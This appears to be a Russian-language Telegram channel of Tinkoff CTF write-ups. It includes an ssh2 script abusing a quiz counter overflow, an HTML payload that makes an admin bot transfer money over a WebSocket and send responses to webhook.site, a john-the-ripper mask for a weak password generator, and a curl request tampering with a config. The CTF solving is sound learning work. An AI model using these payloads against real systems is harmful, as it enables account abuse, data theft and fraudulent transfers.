решения задач по tinkoff CTF – Telegram
решения задач по tinkoff CTF
1.23K subscribers
29 photos
14 files
35 links
Здесь будут скидываться райтапы по заданиям по Tinkoff CTF.

Райтапы от других людей тоже приветствуются, по ним писать в ЛС: @EvgenyKurmysa
Download Telegram
#ИграСтолов

Принимает вопрос номер 4.
В ответ можно указывать любой символ.

В зависимости от номера вопроса происходило переполнение счетчика.
В зависимости от кода символа тоже было переполнение.

При вооде 4 в 34 запрос (Вроде выбор вопрос 17) было наиболее близкое число.
Далее символами в ответ задавали смещение.


const { Client } = require('ssh2');
const conn = new Client();

let i = 0;
conn.on('ready', () => {
console.log('Client :: ready');
conn.exec('i love memes', (err, stream) => {
if (err) throw err;
stream.on('close', (code, signal) => {
console.log('Stream :: close :: code: ' + code + ', signal: ' + signal);
conn.end();
}).on('data', (data) => {
console.log('STDOUT: ' + data);
}).stderr.on('data', (data) => {
console.log('STDERR: ' + data);
});
});
}).on('keyboard-interactive', (name, instructions, instructionsLang, prompts, finish) => {
const prompt = ((prompts && prompts[0]) ? prompts[0].prompt : '').split('\n')[0];
i++;
console.log(i, prompt);

if (/Password/.test(prompt)) return finish([''])

if (/question/.test(prompt) && i === 34) return finish(['4'])
// 52

if (/question/.test(prompt)) return finish(['1'])

// Подбор
if (/answer/.test(prompt)) return finish([`\u0018`]);
}).on('disconnect', (...data) => {
console.log('disconnect', data);
}).on('error', (...data) => {
console.log('error', data);
}).on('data', (...data) => {
console.log('data', data);
}).connect({
host: 't-darkshelf-7yhdavxe.spbctf.net',
port: 22,
username: 'grrm0e2714797f',
type: 'keyboard-interactive',
tryKeyboard: true
});
👍1
#Спичкотрон

1) Смотрим, что WS работал без авторизации.
2) Смотрим что форма вопроса просит урл.
3) Пробуем скормить webhook.site
4) Видим что заходит селениум
5) Заливаем на сайт html с отправкой денег через WS
6) Скармливаем URL страницы админу через форму


<noscript>
fetch('https://webhook.site/cdc945c2-0ea7-4325-b95a-aed21ec3fb5c?load')
var ws = new WebSocket(`wss://t-bank-5j36y2im.spbctf.net/ws`);
ws.onopen = () => {
console.log('Connected')
ws.send(JSON.stringify({"action":"balance"} ))
ws.send(JSON.stringify({
"action": "transfer",
"amount":2000,
"to":"adminadmin"
}))
};
ws.onmessage = (e) => fetch('https://webhook.site/cdc945c2-0ea7-4325-b95a-aed21ec3fb5c?' + (e.data))
</noscript>
👍1
Forwarded from Alexey Kirillov
CTF 2023
В скрипте видим, что шифрование симметричное, в generate_gamma генерируется массив по размеру шифруемого/расшифровываемого файла и xor'ится с ним.
Проблема во времени генерации "гаммы": в массив кладётся по 8 байт, которые являются результатом тяжёлых вычислений в цикле.
Представим n1 и m1 в виде последовательности f:
f[0] = 0, f[1] = 1, f[i] = u * f[i-1] - v * f[i-2]
тогда m1 для n будет f[n+2].
Воспользуемся wolframalpha и постараемся упростить (первый скриншот). Подставим a, b, x, y из файла задания, корни сократились до единицы, а в вычислении теперь участвуют только степень и параметры a и x.
Перепишем m1 * n1 в виде со второго скриншота, и подставим a и x. Получим (13 ** i - 12 ** i) * (113 ** i - 112 ** i).
Для степени из условия этого недостаточно, но мы видим, что само произведение у нас сразу урезается делением по модулю, поэтому используем алгоритм быстрого возведения в степень по модулю. Остаётся добавить заменённый код и запустить расшифровку.
Forwarded from Сергей Руденко ☭Серп☭
Элементарно, Ватсон! на С#

string str1 = "H_S_|_e_gImt-o_tdondFS_ta_nlv0PgOSuSKGyCen3s_td_:Oc|iuM__t_aiFCeLasaea|T:d_oStoo_te-osiaL35rdf}:Mppnym|F_itnhecfF4:_npdnohtke_|_Eped_bC_Kch|enu_ig_Daendw_Ren4IFShcrEiahit0Kr_maoese_ci_e5i|cnnr_itavtseneUelHe_n_crGtgblcn-eddaCrs_i|elddgyoonpa0trrshul3G_:_iuAe:LdS_p_:h_cltr_ffie:tr|n_P_3cdS_|oeu4es_7Ekm|iG_{ce|_gCe0aumt_ES-wns:doA_v_e|crM5kr-Mlh}fucAea_e_ecp__umriHsCeese_|_aaa|_lt1dnDrGleeTml_3do_ale_CM-CnrrIpafL:dBerl:chesIWelKserfuy_auygn3_{s__|ne|_te___anmees|1rlErs|edaVA_Ji|ag-rs_rfSrcey_sCO1ellc|:iRinfamCdo_c:GertDes|3_hn7si_rC_cLn0RnpaerMt|hcou_:|S:haaY|sJiaGtscn0ees_yaf-oampb_-u_ir}_Keepsre_eym_reM_x{_sl_iRt_sTsg|ce_nteadFnM_Rs_yH_AEtlTdocJphteI4yDk__n:otOPoo1siT_tw_i?Utoeeo:nm_riH2d_u|uuen:tnubhrtn|6fhc_r_deEune:_SnK5b|a_eerRaihkCh{ntFiTiRvmsi_taDe_LCtTrsnonteohtC_sochcaim|sThn_y71hihy|ek_e_fa}rW:raet_do-thed4_icaoe|-r3Crkfr|1a|glfeFen_|efrtEp_rn";

for(int q=12; q<40; q = q + 4)
{
string str = "";
Console.WriteLine(q);
int first = q / 4;
for(int i = 0; i < first; i++)
{
for (int z = i; z < str1.Length; z = z + q)
{
str += str1[z];
}
}
for (int i = ((q/2)+(first-1)); i >= first ; i--)
{
for (int z = i; z < str1.Length; z = z + q)
{
str += str1[z];
}
}
for (int i =(q / 2) + first; i < q; i++)
{
for (int z = i; z < str1.Length; z = z + q)
{
str += str1[z];
}
}
for (int g = 0; g < str.Length; g++)
{
string ch = "";
if (str[g].ToString() == "t")
{
ch += str[g];

if (str.Length > g + 4)
{
if (str[g + 1].ToString() == "c")
{
ch += str[g + 1];
if (str[g + 2].ToString() == "t")
{
ch += str[g + 2];
if (str[g + 3].ToString() == "f")
{
ch += str[g + 3];
for (int t = 4; t < 50; t++)
{
ch += str[g + t];
}
Console.WriteLine(g.ToString() + "" + ch);
Console.ReadKey();
}
}
}
}
}

}

}
🤡5
Forwarded from Кобяков Сергей
Ватсон
По схеме шифрования понимаем, что это модификация сциталы. Расшифровываем через онлайн декодер (https://www.dcode.fr/scytale-cipher). Получаем почти читаемый текст. Флаг из него не подходит, но это ожидаемо, потому что в этой схеме 2 цилиндра, а не один. Видим, что декодер расшифровал это с 32 буквами на виток, а значит нам на 2 цилиндра надо меньше. В шифротексте 864 символа, значит следующий меньший делитель после 32 будет 27. Разобьем недорасшифрованный текст по 27 символов. Видим начало флага tctf{Cr1 и пытаемся найти продолжение для него на других строках. Долго искать не пришлось, потому что оно было на предыдущей строке
👍3👏2
Forwarded from Michael Andersen
Лига новичков, задача Человек-Жук.
На сайте каждый note можно получить по его индексу, но некоторые репортажи зашифрованы в архивы. Посмотрел первые 20 записей по id, среди которых был пользователь petya.parkin, который публиковал незашифрованные репортажи про человека-жука. Но один из его репортажей все же был зашифрован (под индексом 10, https://t-bugman-18kk0hkv.spbctf.net/note/10). Я скачал этот архив и сегодня ночью ставил его на перебор. 6 часов, не перебрал.
Потом решил исходник разобрать, посмотрел как работает сайт скопировал себе генератор паролей для архивов. Он оказался уязвимым, я создал 100 млн паролей по такому же алгоритму и у них у всех первая буква была одна из 5 конкетных, вторая из 8, третья из 20, четвертая из 16 ну и дальше примерно по смыслу. А сам пароль всего из 8 символов. Благодаря этому количество перебора сократилось до 168 млн комбинаций, я сделал следующую маску для john-the-ripper и он уже перебрал все пароли. В архиве лежал адрес на веб-страницу с флагом.
Маска для джона:
-mask='[M, N, O, Y, Z][2, D, G, T, W, j, m, z][A, B, E, F, I, J, M, N, Q, R, U, V, Y, Z, c, d, g, h, k, l][0, 1, 2, 3, 4, 5, h, i, j, k, l, m, w, x, y, z][M, N, O, Y, Z][2, D, G, T, W, j, m, z][A, B, E, F, I, J, M, N, Q, R, U, V, Y, Z, c, d, g, h, k, l][0, 1, 2, 3, 4, 5, h, i, j, k, l, m, w, x, y, z]'
👍6👏1
Forwarded from S
Задача про землекопов лига опытных.
Открываем в режиме разработчика бразуер. Смотрим сеть.
Видим там запрос, раскрываем его и через курл тыкаем
curl -X PUT https://site.ctfapi/cloner/{id} -H "Content-Type: application/json" -d '{"config": {"count": 1000000}}'

Оно не срабатывает, подбираем количество каунтов опционально.

Как то так, вроде ничего не перепутал, но смысл точно тот.
Не записывал к сожалению решение(
Forwarded from VRN
Гипнолуч
Скачиваем исходники на go и видим что с именем dr.cosmodinamikov не удастся зарегистрироваться. Пробуем им войти и использую это имя и как пароль. Внутри читаем прикольные комменты тех, кто побывал тут до тебя 😁👍
😱5👎3😁1
Так, только сейчас разобрался с чатами, не прошло и года
2